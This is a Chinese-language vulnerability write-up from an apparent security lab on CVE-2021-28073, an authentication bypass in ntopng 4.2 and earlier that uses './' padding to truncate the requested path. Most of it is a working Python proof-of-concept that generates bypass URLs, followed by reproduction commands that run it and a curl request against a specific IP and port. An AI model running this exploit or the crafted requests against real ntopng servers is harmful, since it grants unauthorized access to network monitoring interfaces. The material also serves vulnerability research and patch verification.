【初级】ntopng 权限绕过

CVE-2021-28073

漏洞描述:

topng是监控服务器网络流量的工具,对外提供Web页面。其4.2及以前的版本中存在一处权限绕过漏洞,利用该漏洞可以未授权访问目标任意接口。

对于一个 HTTP 请求来说,ntopng 的主要处理逻辑代码都在 handle_lua_request函数中,ntopng 调用 snprintf 将用户请求的 URI 写入到 path 数组中,而 snprintf 会在字符串结尾添加\0。由于 path 数组长度有限,即使用户传入超过 255 个字符的路径,也只会写入前 254 个字符,我们可以通过填充 ./来构造一个长度超过 255 但是合法的路径,并利用长度限制来截断后面的 .css.lua,即可绕过 ntopng 的认证以访问部分 Lua 文件。

影响版本:ntopng commit < e8b9721479f401f595c5c7bb151819aceb03ad71

参考资料:

POC:

import sys
import requests
import argparse
import logging
 
 
def is_ntopng() -> bool:
    response = session.get(base_url, allow_redirects=False)
    return response.status_code == 302 and '/lua/login.lua' in response.headers.get('Location', '')
 
 
def get_base_length() -> int:
    for i in range(90, 120):
        url = base_url + '/lua/' + '%2e%2f' * i + 'as_stats.lua.css'
        response = session.get(url, allow_redirects=False)
        if response.status_code < 300:
            return 255 - 1 - i * 2 - len('as_stats.lua')
 
    for i in range(90, 120):
        url = base_url + '/lua/' + '%2e%2f' * i + 'get_macs_data.lua.css'
        response = session.get(url, allow_redirects=False)
        if response.status_code < 300:
            return 255 - 1 - i * 2 - len('get_macs_data.lua')
 
    return -1
 
 
def get_padding_length(path: str):
    padding_length = 255 - 1 - base_length - len(path)
    if padding_length % 2 == 1:
        raise RuntimeError(f'path {path} is not support')
 
    return int(padding_length / 2)
 
 
logging.basicConfig(stream=sys.stderr, level=logging.WARNING)
session = requests.Session()
session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'
 
 
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='CVE-2021-28073 POC for ntopng.')
    parser.add_argument('-u', '--url', help='base url for ntopng, eg: http://192.168.1.233:3000', metavar='<URL>', required=True)
    parser.add_argument('-v', '--verbose', default=False, action='store_true')
    
    subparsers = parser.add_subparsers(dest='action')
 
    baselength_command = subparsers.add_parser('baselength', help='get base path length of ntopng')
 
    generate_command = subparsers.add_parser('generate', help='generate the authenticate bypass url')
    generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
    generate_command.add_argument('-p', '--path', help='lua pathname', metavar='<PATH>', required=True)
 
    generate_command = subparsers.add_parser('include', help='generate the arbitrary file inclusion url')
    generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
    generate_command.add_argument('-i', '--include', help='path to include', metavar='<PATH>', required=True)
 
    args = parser.parse_args()
    if not args.action:
        parser.print_help()
        sys.exit(1)
 
    if args.verbose:
        logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)
 
    base_url = args.url.rstrip('/')
    
    # check target
    if not is_ntopng():
        raise RuntimeError('No Ntopng detected')
 
    if args.action == 'baselength':
        base_length = get_base_length()
        sys.stdout.write(f'ntopng install path length: {base_length}\n')
    elif args.action == 'generate':
        base_length = args.length
        path = args.path
        sys.stdout.write(base_url + '/lua/' + '%2e%2f' * get_padding_length(path) + path + '.css\n')

漏洞复现

使用以下命令获取lua目录的长度

图片[1]-【初级】ntopng 权限绕过-NGC660 安全实验室
使用POC生成可以越权访问的url,命令如下
python poc.py -u http://123.58.224.8:27151/ generate -l 36 -p find_prefs.lua
图片[2]-【初级】ntopng 权限绕过-NGC660 安全实验室
生成之后使用curl命令访问,会发现 可以越权,返回正常信息
curl http://123.58.224.8:27151/lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css
图片[3]-【初级】ntopng 权限绕过-NGC660 安全实验室
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